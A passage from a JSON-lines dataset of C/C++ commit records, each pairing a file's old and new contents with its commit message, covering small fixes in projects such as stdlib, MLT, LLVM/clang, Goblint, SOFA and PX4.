of the License at\n*\n*    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\/\n\n\/**\n* Header file containing strided array macros.\n*\/\n#ifndef STDLIB_STRIDED_MACROS_H\n#define STDLIB_STRIDED_MACROS_H\n\n\/\/ Note: keep in alphabetical order...\n#include \"strided_binary_macros.h\"\n#include \"strided_nullary_macros.h\"\n#include \"strided_quaternary_macros.h\"\n#include \"strided_quinary_macros.h\"\n#include \"strided_ternary_macros.h\"\n#include \"strided_unary_macros.h\"\n\n#endif \/\/ !STDLIB_STRIDED_MACROS_H\n","subject":"Sort headers in alphabetical order","message":"Sort headers in alphabetical order\n","lang":"C","license":"apache-2.0","repos":"stdlib-js\/stdlib,stdlib-js\/stdlib,stdlib-js\/stdlib,stdlib-js\/stdlib,stdlib-js\/stdlib,stdlib-js\/stdlib,stdlib-js\/stdlib,stdlib-js\/stdlib"}
{"commit":"2b1c7246a6be5f0b57ee0cfea70b6a2613163b7e","old_file":"src\/modules\/sdl\/consumer_sdl_osx.h","new_file":"src\/modules\/sdl\/consumer_sdl_osx.h","old_contents":"\/*\n * consumer_sdl_osx.m -- An OS X compatibility shim for SDL\n * Copyright (C) 2010 Ushodaya Enterprises Limited\n * Author: Dan Dennedy\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n *\/\n\n#ifndef _CONSUMER_SDL_OSX_H_\n#define _CONSUMER_SDL_OSX_H_\n\n#ifdef __DARWIN__\nvoid* mlt_cocoa_autorelease_init();\nvoid  mlt_cocoa_autorelease_close( void* );\n\n#else\nstatic inline void *mlt_cocoa_autorelease_init()\n{\n\treturn NULL;\n}\n\nstatic inline void mlt_cocoa_autorelease_close(void*)\n{\n}\n#endif\n\n#endif\n","new_contents":"\/*\n * consumer_sdl_osx.m -- An OS X compatibility shim for SDL\n * Copyright (C) 2010 Ushodaya Enterprises Limited\n * Author: Dan Dennedy\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n *\/\n\n#ifndef _CONSUMER_SDL_OSX_H_\n#define _CONSUMER_SDL_OSX_H_\n\n#ifdef __DARWIN__\nvoid* mlt_cocoa_autorelease_init();\nvoid  mlt_cocoa_autorelease_close( void* );\n\n#else\nstatic inline void *mlt_cocoa_autorelease_init()\n{\n\treturn NULL;\n}\n\nstatic inline void mlt_cocoa_autorelease_close(void* p)\n{\n}\n#endif\n\n#endif\n","subject":"Fix build on non-OSX due to missing parameter name.","message":"Fix build on non-OSX due to missing parameter name.\n","lang":"C","license":"lgpl-2.1","repos":"ttill\/MLT,ttill\/MLT-roto,siddharudh\/mlt,xzhavilla\/mlt,anba8005\/mlt,zzhhui\/mlt,ttill\/MLT-roto-tracking,mltframework\/mlt,siddharudh\/mlt,j-b-m\/mlt,mltframework\/mlt,wideioltd\/mlt,zzhhui\/mlt,xzhavilla\/mlt,j-b-m\/mlt,zzhhui\/mlt,siddharudh\/mlt,anba8005\/mlt,j-b-m\/mlt,ttill\/MLT-roto,ttill\/MLT-roto-tracking,mltframework\/mlt,gmarco\/mlt-orig,wideioltd\/mlt,xzhavilla\/mlt,ttill\/MLT,j-b-m\/mlt,j-b-m\/mlt,j-b-m\/mlt,mltframework\/mlt,xzhavilla\/mlt,siddharudh\/mlt,ttill\/MLT-roto-tracking,xzhavilla\/mlt,wideioltd\/mlt,zzhhui\/mlt,ttill\/MLT,zzhhui\/mlt,j-b-m\/mlt,ttill\/MLT-roto,ttill\/MLT-roto,gmarco\/mlt-orig,ttill\/MLT-roto-tracking,siddharudh\/mlt,wideioltd\/mlt,ttill\/MLT-roto,anba8005\/mlt,gmarco\/mlt-orig,ttill\/MLT,anba8005\/mlt,zzhhui\/mlt,ttill\/MLT-roto,anba8005\/mlt,j-b-m\/mlt,mltframework\/mlt,gmarco\/mlt-orig,wideioltd\/mlt,ttill\/MLT-roto-tracking,anba8005\/mlt,gmarco\/mlt-orig,wideioltd\/mlt,xzhavilla\/mlt,ttill\/MLT-roto,gmarco\/mlt-orig,ttill\/MLT,mltframework\/mlt,zzhhui\/mlt,mltframework\/mlt,ttill\/MLT,gmarco\/mlt-orig,j-b-m\/mlt,gmarco\/mlt-orig,gmarco\/mlt-orig,mltframework\/mlt,mltframework\/mlt,wideioltd\/mlt,xzhavilla\/mlt,ttill\/MLT,ttill\/MLT-roto-tracking,j-b-m\/mlt,siddharudh\/mlt,siddharudh\/mlt,ttill\/MLT-roto-tracking,wideioltd\/mlt,zzhhui\/mlt,ttill\/MLT-roto-tracking,ttill\/MLT-roto-tracking,ttill\/MLT-roto,anba8005\/mlt,anba8005\/mlt,anba8005\/mlt,zzhhui\/mlt,ttill\/MLT-roto,xzhavilla\/mlt,mltframework\/mlt,wideioltd\/mlt,siddharudh\/mlt,ttill\/MLT,siddharudh\/mlt,xzhavilla\/mlt,ttill\/MLT"}
{"commit":"f32bb0311860f453a1b1f4d8c5755c26894e8b41","old_file":"src\/platform\/governance.h","new_file":"src\/platform\/governance.h","old_contents":"#ifndef CROWN_PLATFORM_GOVERNANCE_H\n#define CROWN_PLATFORM_GOVERNANCE_H\n\n#include \"primitives\/transaction.h\"\n#include \"uint256.h\"\n\n#include <boost\/function.hpp>\n\n#include <vector>\n\nnamespace Platform\n{\n    class Vote\n    {\n    public:\n        enum Value { abstain = 0, yes, no };\n\n        CTxIn voterId;\n        int64_t electionCode;\n        uint256 candidate;\n        Value value;\n        std::vector<unsigned char> signature;\n    };\n\n    class VotingRound\n    {\n    public:\n        virtual void RegisterCandidate(uint256 id) = 0;\n        virtual void AcceptVote(const Vote& vote) = 0;\n        virtual std::vector<uint256> CalculateResult() const = 0;\n        virtual void NotifyResultChange(\n            boost::function<void(uint256)> onElected,\n            boost::function<void(uint256)> onDismissed\n        ) = 0;\n    };\n\n    VotingRound& AgentsVoting();\n}\n\n#endif \/\/CROWN_PLATFORM_GOVERNANCE_H\n","new_contents":"#ifndef CROWN_PLATFORM_GOVERNANCE_H\n#define CROWN_PLATFORM_GOVERNANCE_H\n\n#include \"primitives\/transaction.h\"\n#include \"uint256.h\"\n\n#include <boost\/function.hpp>\n\n#include <vector>\n\nnamespace Platform\n{\n    class Vote\n    {\n    public:\n        enum Value { abstain = 0, yes, no };\n\n        CTxIn voterId;\n        int64_t electionCode;\n        uint256 candidate;\n        Value value;\n        std::vector<unsigned char> signature;\n    };\n\n    class VotingRound\n    {\n    public:\n        virtual ~VotingRound() = default;\n\n        virtual void RegisterCandidate(uint256 id) = 0;\n        virtual void AcceptVote(const Vote& vote) = 0;\n        virtual std::vector<uint256> CalculateResult() const = 0;\n        virtual void NotifyResultChange(\n            boost::function<void(uint256)> onElected,\n            boost::function<void(uint256)> onDismissed\n        ) = 0;\n    };\n\n    VotingRound& AgentsVoting();\n}\n\n#endif \/\/CROWN_PLATFORM_GOVERNANCE_H\n","subject":"Fix issues pointed out in review","message":"Fix issues pointed out in review\n","lang":"C","license":"mit","repos":"Crowndev\/crowncoin,Crowndev\/crowncoin,Crowndev\/crowncoin,Crowndev\/crowncoin,Crowndev\/crowncoin,Crowndev\/crowncoin"}
{"commit":"f95dd734687945f12b708f2659ac8198b640d959","old_file":"test\/CodeGen\/2009-10-20-GlobalDebug.c","new_file":"test\/CodeGen\/2009-10-20-GlobalDebug.c","old_contents":"\/\/ RUN: %clang -ccc-host-triple i386-apple-darwin10 -S -g -dA %s -o - | FileCheck %s\nint global;\n\/\/ CHECK: asciz  \"global\"                                    ## DW_AT_name\nint main() { return 0;}\n","new_contents":"\/\/ RUN: %clang -ccc-host-triple i386-apple-darwin10 -S -g -dA %s -o - | FileCheck %s\nint global;\n\/\/ CHECK: asciz \"global\" ## External Name\nint main() { return 0;}\n","subject":"Adjust testcase for recent DWARF printer changes.","message":"Adjust testcase for recent DWARF printer changes.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@94306 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"2ca2eb5bd6ca7bf2c886384a30b82750b2927822","old_file":"tests\/regression\/09-regions\/28-list2alloc.c","new_file":"tests\/regression\/09-regions\/28-list2alloc.c","old_contents":"","new_contents":"\/\/ PARAM: --set ana.activated[+] \"'region'\"\n#include<pthread.h>\n#include<stdlib.h>\n#include<stdio.h>\n\nstruct s {\n  int datum;\n  struct s *next;\n} *A, *B;\n\nstruct s *new(int x) {\n  struct s *p = malloc(sizeof(struct s));\n  p->datum = x;\n  p->next = NULL;\n  return p;\n}\n\npthread_mutex_t A_mutex = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t B_mutex = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  pthread_mutex_lock(&A_mutex);\n  A->datum++; \/\/ RACE <-- this line is also relevant.\n  pthread_mutex_unlock(&A_mutex);\n\n  pthread_mutex_lock(&B_mutex);\n  B->datum++; \/\/ <-- this is not relevant at all.\n  pthread_mutex_unlock(&B_mutex);\n  return NULL;\n}\n\nint main () {\n  pthread_t t1;\n\n  A = new(3);\n  B = new(5);\n\n  pthread_create(&t1, NULL, t_fun, NULL);\n\n  int *data;\n  pthread_mutex_lock(&A_mutex);\n  data = &A->datum; \/\/ NORACE\n  pthread_mutex_unlock(&A_mutex);\n  *data = 42; \/\/ RACE <-- this is the real bug!\n  return 0;\n}\n","subject":"Add example for warning ranking.","message":"Add example for warning ranking.\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"cbeac1945a4d0da0745c80a1766dc6ddeb809930","old_file":"gen_message_hashes\/hash_func.h","new_file":"gen_message_hashes\/hash_func.h","old_contents":"static inline unsigned int hash_func_string(const char* key)\n{\n\tunsigned int hash = 0;\n\tint c;\n\twhile ((c = *key++) != 0)\n\t\thash = c + (hash << 6) + (hash << 16) - hash;\n\treturn hash;\n}\n\n","new_contents":"static inline uint32_t hash_func_string(const char* key)\n{\n\tuint32_t hash = 0;\n\tint c;\n\twhile ((c = *key++) != 0)\n\t\thash = c + (hash << 6) + (hash << 16) - hash;\n\treturn hash;\n}\n\n","subject":"Change unsigned int to uint32_t.","message":"Change unsigned int to uint32_t.\n\nThe fixed width data type is necessary to calculate the hash function\ncorrectly.\n","lang":"C","license":"mit","repos":"mloy\/cjet,gatzka\/cjet,gatzka\/cjet,mloy\/cjet,gatzka\/cjet,mloy\/cjet,gatzka\/cjet,gatzka\/cjet,mloy\/cjet,mloy\/cjet"}
{"commit":"59b6d5b7e4f337320ea12d381e9cad0aa9c9fa75","old_file":"tests\/slice.c","new_file":"tests\/slice.c","old_contents":"\n#include <stdio.h>\n\n#include \"..\/slice.h\"\n#include \"..\/assert.h\"\n#include \"..\/nelem.h\"\n\n\nint main( void )\n{\n    int const xs[] = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 };\n\n    printf( \"Testing subset slice...\\n\" );\n    int const ws[] = { SLICE( xs, 3, 4 ) };\n    ASSERT( NELEM( ws ) == 4,\n            ws[ 0 ] == xs[ 3 ],\n            ws[ 1 ] == xs[ 4 ],\n            ws[ 2 ] == xs[ 5 ],\n            ws[ 3 ] == xs[ 6 ] );\n\n    printf( \"Testing total slice...\\n\" );\n    int const ys[] = { SLICE( xs, 0, 6 ) };\n    ASSERT( NELEM( ys ) == 6,\n            ys[ 0 ] == xs[ 0 ],\n            ys[ 1 ] == xs[ 1 ],\n            ys[ 2 ] == xs[ 2 ],\n            ys[ 3 ] == xs[ 3 ],\n            ys[ 4 ] == xs[ 4 ],\n            ys[ 5 ] == xs[ 5 ] );\n\n    printf( \"Testing empty slice...\\n\" );\n    int const zs[] = { 0, SLICE( xs, 2, 0 ) };\n    ASSERT( NELEM( zs ) == 1 );\n\n    printf( \"SLICE() tests passed.\\n\" );\n}\n\n","new_contents":"\n#include <stdio.h>\n\n#include \"..\/slice.h\"\n#include \"..\/assert.h\"\n#include \"..\/nelem.h\"\n\n\nint main( void )\n{\n    int const xs[] = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 };\n\n    printf( \"Testing subset slice...\\n\" );\n    int const ws[] = { SLICE( xs, 3, 4 ) };\n    ASSERT( NELEM( ws ) == 4,\n            ws[ 0 ] == xs[ 3 ],\n            ws[ 1 ] == xs[ 4 ],\n            ws[ 2 ] == xs[ 5 ],\n            ws[ 3 ] == xs[ 6 ] );\n    ( void ) ws;\n\n    printf( \"Testing total slice...\\n\" );\n    int const ys[] = { SLICE( xs, 0, 6 ) };\n    ASSERT( NELEM( ys ) == 6,\n            ys[ 0 ] == xs[ 0 ],\n            ys[ 1 ] == xs[ 1 ],\n            ys[ 2 ] == xs[ 2 ],\n            ys[ 3 ] == xs[ 3 ],\n            ys[ 4 ] == xs[ 4 ],\n            ys[ 5 ] == xs[ 5 ] );\n    ( void ) ys;\n\n    printf( \"Testing empty slice...\\n\" );\n    int const zs[] = { 0, SLICE( xs, 2, 0 ) };\n    ASSERT( NELEM( zs ) == 1 );\n    ( void ) zs;\n\n    printf( \"SLICE() tests passed.\\n\" );\n}\n\n","subject":"Fix 'unused variable' warning on fast build","message":"Fix 'unused variable' warning on fast build\n","lang":"C","license":"agpl-3.0","repos":"mcinglis\/libmacro,mcinglis\/libmacro,mcinglis\/libmacro"}
{"commit":"d3c505c880592f481c7ee356bb6dc6650a95a14b","old_file":"include\/ofpi_config.h","new_file":"include\/ofpi_config.h","old_contents":"\/* Copyright (c) 2015, ENEA Software AB\n * All rights reserved.\n *\n * SPDX-License-Identifier:     BSD-3-Clause\n *\/\n\n#ifndef _OFPI_CONFIG_H_\n#define _OFPI_CONFIG_H_\n\n#include \"ofp_config.h\"\n\n#define ARP_SANITY_CHECK 1\n\n#endif\n","new_contents":"\/* Copyright (c) 2015, ENEA Software AB\n * All rights reserved.\n *\n * SPDX-License-Identifier:     BSD-3-Clause\n *\/\n\n#ifndef _OFPI_CONFIG_H_\n#define _OFPI_CONFIG_H_\n\n#include \"api\/ofp_config.h\"\n\n#define ARP_SANITY_CHECK 1\n\n#endif\n","subject":"Fix include path for ofp_config.h","message":"Fix include path for ofp_config.h\n\nSigned-off-by: Bogdan Pricope <385103c4eae27e55111df6ab7856eefb0647e14e@enea.com>\nReviewed-by: Sorin Vultureanu <64c6f728decd077990042fe7e6ea94271dcc3ede@enea.com>\n","lang":"C","license":"bsd-3-clause","repos":"OpenFastPath\/ofp,OpenFastPath\/ofp,OpenFastPath\/ofp,TolikH\/ofp,TolikH\/ofp,TolikH\/ofp,OpenFastPath\/ofp"}
{"commit":"1a9f189af8076cf1f67b92567e47d7dd8e0514fa","old_file":"applications\/plugins\/SofaPython\/PythonCommon.h","new_file":"applications\/plugins\/SofaPython\/PythonCommon.h","old_contents":"#ifndef SOFAPYTHON_PYTHON_H\n#define SOFAPYTHON_PYTHON_H\n\n\n\/\/ This header simply includes Python.h, taking care of platform-specific stuff\n\n\/\/ It should be included before any standard headers:\n\/\/ \"Since Python may define some pre-processor definitions which affect the\n\/\/ standard headers on some systems, you must include Python.h before any\n\/\/ standard headers are included.\"\n\n#if defined(_WIN32)\n#\tdefine MS_NO_COREDLL \/\/ deactivate pragma linking on Win32 done in Python.h\n#endif\n\n#if defined(_MSC_VER) && defined(_DEBUG)\n\/\/ undefine _DEBUG since we want to always link agains the release version of\n\/\/ python and pyconfig.h automatically links debug version if _DEBUG is defined.\n\/\/ ocarre: no we don't, in debug on Windows we cannot link with python release, if we want to build SofaPython in debug we have to compile python in debug\n\/\/#    undef _DEBUG\n#    include <Python.h>\n\/\/#    define _DEBUG\n#elif defined(__APPLE__) && defined(__MACH__)\n#    include <Python\/Python.h>\n#else\n#    include <Python.h>\n#endif\n\n\n#endif\n","new_contents":"#ifndef SOFAPYTHON_PYTHON_H\n#define SOFAPYTHON_PYTHON_H\n\n\n\/\/ This header simply includes Python.h, taking care of platform-specific stuff\n\n\/\/ It should be included before any standard headers:\n\/\/ \"Since Python may define some pre-processor definitions which affect the\n\/\/ standard headers on some systems, you must include Python.h before any\n\/\/ standard headers are included.\"\n\n#if defined(_WIN32)\n#\tdefine MS_NO_COREDLL \/\/ deactivate pragma linking on Win32 done in Python.h\n#\tdefine Py_ENABLE_SHARED 1 \/\/ this flag ensure to use dll's version (needed because of MS_NO_COREDLL define).\n#endif\n\n#if defined(_MSC_VER) && defined(_DEBUG)\n\/\/ if you use Python on windows in debug build, be sure to provide a compiled version because\n\/\/ installation package doesn't come with debug libs.\n#    include <Python.h> \n#elif defined(__APPLE__) && defined(__MACH__)\n#    include <Python\/Python.h>\n#else\n#    include <Python.h>\n#endif\n\n\n#endif\n","subject":"Fix python link in release build.","message":"Fix python link in release build.\n\n\nFormer-commit-id: f2b0e4ff65df702ae4f98bed2a39dcfdc0f7e9c4","lang":"C","license":"lgpl-2.1","repos":"FabienPean\/sofa,Anatoscope\/sofa,FabienPean\/sofa,hdeling\/sofa,FabienPean\/sofa,Anatoscope\/sofa,hdeling\/sofa,Anatoscope\/sofa,hdeling\/sofa,hdeling\/sofa,Anatoscope\/sofa,hdeling\/sofa,FabienPean\/sofa,FabienPean\/sofa,Anatoscope\/sofa,hdeling\/sofa,hdeling\/sofa,Anatoscope\/sofa,hdeling\/sofa,FabienPean\/sofa,Anatoscope\/sofa,FabienPean\/sofa,FabienPean\/sofa,hdeling\/sofa,FabienPean\/sofa,Anatoscope\/sofa,FabienPean\/sofa,Anatoscope\/sofa,hdeling\/sofa"}
{"commit":"4529eb33e50f0662b6711bcc984ad3b298c2b169","old_file":"src\/Atomic.h","new_file":"src\/Atomic.h","old_contents":"\/*\n *******************************************************************************\n *\n * Purpose: Utils. Atomic types helper.\n *\n *******************************************************************************\n * Copyright Monstrenyatko 2014.\n *\n * Distributed under the MIT License.\n * (See accompanying file LICENSE or copy at http:\/\/opensource.org\/licenses\/MIT)\n *******************************************************************************\n *\/\n\n#ifndef UTILS_ATOMIC_H_\n#define UTILS_ATOMIC_H_\n\n#ifndef __has_feature\n#define __has_feature(__x) 0\n#endif\n\n#if __has_feature(cxx_atomic)\n#include <atomic>\n#else\n#include <boost\/atomic.hpp>\n#define UTILS_USE_BOOST_ATOMIC\n#endif\n\nnamespace Utils {\n\n#ifdef UTILS_USE_BOOST_ATOMIC\n\ttypedef boost::atomic_bool atomic_bool;\n\ttypedef boost::atomic_uint32_t atomic_uint32_t;\n#else\n\ttypedef std::atomic_bool atomic_bool;\n\ttypedef std::atomic<uint32_t> atomic_uint32_t;\n#endif\n\n} \/* namespace Utils *\/\n\n#endif \/* UTILS_ATOMIC_H_ *\/\n","new_contents":"\/*\n *******************************************************************************\n *\n * Purpose: Utils. Atomic types helper.\n *\n *******************************************************************************\n * Copyright Monstrenyatko 2014.\n *\n * Distributed under the MIT License.\n * (See accompanying file LICENSE or copy at http:\/\/opensource.org\/licenses\/MIT)\n *******************************************************************************\n *\/\n\n#ifndef UTILS_ATOMIC_H_\n#define UTILS_ATOMIC_H_\n\n#ifndef __has_feature\n#define __has_feature(__x) 0\n#endif\n\n#if __cplusplus < 201103L\n#include <boost\/atomic.hpp>\n#define UTILS_USE_BOOST_ATOMIC\n#else\n#include <atomic>\n#endif\n\nnamespace Utils {\n\n#ifdef UTILS_USE_BOOST_ATOMIC\n\ttypedef boost::atomic_bool atomic_bool;\n\ttypedef boost::atomic_uint32_t atomic_uint32_t;\n#else\n\ttypedef std::atomic_bool atomic_bool;\n\ttypedef std::atomic<uint32_t> atomic_uint32_t;\n#endif\n\n} \/* namespace Utils *\/\n\n#endif \/* UTILS_ATOMIC_H_ *\/\n","subject":"Use boost::atomic if C++ compiler older than 201103.","message":"Use boost::atomic if C++ compiler older than 201103.\n","lang":"C","license":"mit","repos":"monstrenyatko\/butler-xbee-gateway,monstrenyatko\/XBeeGateway,monstrenyatko\/butler-xbee-gateway,monstrenyatko\/XBeeGateway,monstrenyatko\/butler-xbee-gateway"}
{"commit":"9275184cf22bcc045842bee7a26067e62381178a","old_file":"lib\/Remarks\/RemarkParserImpl.h","new_file":"lib\/Remarks\/RemarkParserImpl.h","old_contents":"\/\/===-- RemarkParserImpl.h - Implementation details -------------*- C++\/-*-===\/\/\n\/\/\n\/\/ Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n\/\/ See https:\/\/llvm.org\/LICENSE.txt for license information.\n\/\/ SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file provides implementation details for the remark parser.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_REMARKS_REMARK_PARSER_IMPL_H\n#define LLVM_REMARKS_REMARK_PARSER_IMPL_H\n\nnamespace llvm {\nnamespace remarks {\n\/\/\/ This is used as a base for any parser implementation.\nstruct ParserImpl {\n  enum class Kind { YAML };\n\n  \/\/ The parser kind. This is used as a tag to safely cast between\n  \/\/ implementations.\n  Kind ParserKind;\n};\n} \/\/ end namespace remarks\n} \/\/ end namespace llvm\n\n#endif \/* LLVM_REMARKS_REMARK_PARSER_IMPL_H *\/\n","new_contents":"\/\/===-- RemarkParserImpl.h - Implementation details -------------*- C++\/-*-===\/\/\n\/\/\n\/\/ Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n\/\/ See https:\/\/llvm.org\/LICENSE.txt for license information.\n\/\/ SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file provides implementation details for the remark parser.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_REMARKS_REMARK_PARSER_IMPL_H\n#define LLVM_REMARKS_REMARK_PARSER_IMPL_H\n\nnamespace llvm {\nnamespace remarks {\n\/\/\/ This is used as a base for any parser implementation.\nstruct ParserImpl {\n  enum class Kind { YAML };\n\n  explicit ParserImpl(Kind TheParserKind) : ParserKind(TheParserKind) {}\n  \/\/ Virtual destructor prevents mismatched deletes\n  virtual ~ParserImpl() {}\n\n  \/\/ The parser kind. This is used as a tag to safely cast between\n  \/\/ implementations.\n  Kind ParserKind;\n};\n} \/\/ end namespace remarks\n} \/\/ end namespace llvm\n\n#endif \/* LLVM_REMARKS_REMARK_PARSER_IMPL_H *\/\n","subject":"Fix mismatched delete due to missing virtual destructor","message":"[Remarks] Fix mismatched delete due to missing virtual destructor\n\nThis fixes an asan failure introduced in r356519.\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@356583 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm"}
{"commit":"83443f472fff11a74e983e42c56a245953890248","old_file":"src\/ref.h","new_file":"src\/ref.h","old_contents":"#pragma once\n\n#include <chrono>\n#include <string>\n\nenum class ref_src_t {\n    FILE,\n    AIRCRAFT,\n    PLUGIN,\n    USER_MSG,\n    BLACKLIST,\n};\n\n\/\/\/ Superclass defining some common interface items for dataref and commandref.\n\nclass RefRecord {\nprotected:\n    std::string name;\n    ref_src_t source;\n    std::chrono::system_clock::time_point last_updated;\n    std::chrono::system_clock::time_point last_updated_big;\n    RefRecord(const std::string & name, ref_src_t source) : name(name), source(source), last_updated(std::chrono::system_clock::now()) {}\npublic:\n    virtual ~RefRecord() {}\n    const std::string & getName() const { return name; }\n    ref_src_t getSource() const { return source; }\n    virtual std::string getDisplayString(size_t display_length) const  = 0;\n\n    bool isBlacklisted() const { return ref_src_t::BLACKLIST == source; }\n\n    const std::chrono::system_clock::time_point & getLastUpdateTime() const { return last_updated; }\n    const std::chrono::system_clock::time_point & getLastBigUpdateTime() const { return last_updated_big; }\n};","new_contents":"#pragma once\n\n#include <chrono>\n#include <string>\n\nenum class ref_src_t {\n    FILE,\n    AIRCRAFT,\n    PLUGIN,\n    USER_MSG,\n    BLACKLIST,\n};\n\n\/\/\/ Superclass defining some common interface items for dataref and commandref.\n\nclass RefRecord {\nprotected:\n    std::string name;\n    ref_src_t source;\n    std::chrono::system_clock::time_point last_updated;\n    std::chrono::system_clock::time_point last_updated_big;\n    RefRecord(const std::string & name, ref_src_t source) : name(name), source(source), last_updated(std::chrono::system_clock::from_time_t(0)), last_updated_big(std::chrono::system_clock::from_time_t(0)) {}\npublic:\n    virtual ~RefRecord() {}\n    const std::string & getName() const { return name; }\n    ref_src_t getSource() const { return source; }\n    virtual std::string getDisplayString(size_t display_length) const  = 0;\n\n    bool isBlacklisted() const { return ref_src_t::BLACKLIST == source; }\n\n    const std::chrono::system_clock::time_point & getLastUpdateTime() const { return last_updated; }\n    const std::chrono::system_clock::time_point & getLastBigUpdateTime() const { return last_updated_big; }\n};","subject":"Handle initialization of change detection variables in a more sane way. No more false positives of changes on startup.","message":"Handle initialization of change detection variables in a more sane way. No more false positives of changes on startup.\n","lang":"C","license":"mit","repos":"leecbaker\/datareftool,leecbaker\/datareftool,leecbaker\/datareftool"}
{"commit":"c8ac1d0b0a97f5fc926a48e64e0e116387453dcd","old_file":"apps\/drivers\/drv_airspeed.h","new_file":"apps\/drivers\/drv_airspeed.h","old_contents":"","new_contents":"\/****************************************************************************\n *\n *   Copyright (C) 2013 PX4 Development Team. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n * 3. Neither the name PX4 nor the names of its contributors may be\n *    used to endorse or promote products derived from this software\n *    without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n ****************************************************************************\/\n\n\/**\n * @file Airspeed driver interface.\n *\/\n\n#ifndef _DRV_AIRSPEED_H\n#define _DRV_AIRSPEED_H\n\n#include <stdint.h>\n#include <sys\/ioctl.h>\n\n#include \"drv_sensor.h\"\n#include \"drv_orb_dev.h\"\n\n#define AIRSPEED_DEVICE_PATH\t\"\/dev\/airspeed\"\n\n\/**\n * Airspeed report structure.  Reads from the device must be in multiples of this\n * structure.\n *\/\nstruct airspeed_report {\n\tuint64_t timestamp;\n\tuint8_t speed; \t\t\t\/** in meters\/sec *\/\n};\n\n\/*\n * ObjDev tag for raw range finder data.\n 